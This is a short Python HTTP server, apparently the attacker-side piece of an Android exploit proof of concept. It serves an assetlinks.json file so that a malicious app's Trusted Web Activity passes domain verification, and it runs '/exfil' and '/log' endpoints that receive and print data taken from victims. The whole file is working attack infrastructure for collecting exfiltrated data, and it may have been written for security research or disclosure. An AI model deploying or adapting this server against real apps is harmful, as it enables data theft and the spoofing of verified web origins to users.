#!/usr/bin/env python3
"""Serves handler.html + .well-known/assetlinks.json and logs exfil/log
beacons. Must be reachable over HTTPS at the origin named in
MainActivity.ATTACKER_URL (TWA verification requires HTTPS)."""
import http.server
import os
import socketserver
import sys

os.chdir(os.path.dirname(os.path.abspath(__file__)))


class H(http.server.SimpleHTTPRequestHandler):
    def do_POST(self):
        n = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(n)
        if self.path.startswith('/log'):
            sys.stderr.write('[page] %s\n' % body.decode('utf-8', 'replace'))
        elif self.path.startswith('/exfil'):
            sys.stderr.write('[EXFIL] %s -> %d bytes\n' % (self.path, len(body)))
            sys.stderr.write(body[:512].decode('utf-8', 'replace') + '\n')
        self.send_response(204)
        self.end_headers()


PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
with socketserver.TCPServer(('', PORT), H) as httpd:
    sys.stderr.write('serving on :%d (front with TLS for production DAL)\n' % PORT)
    httpd.serve_forever()
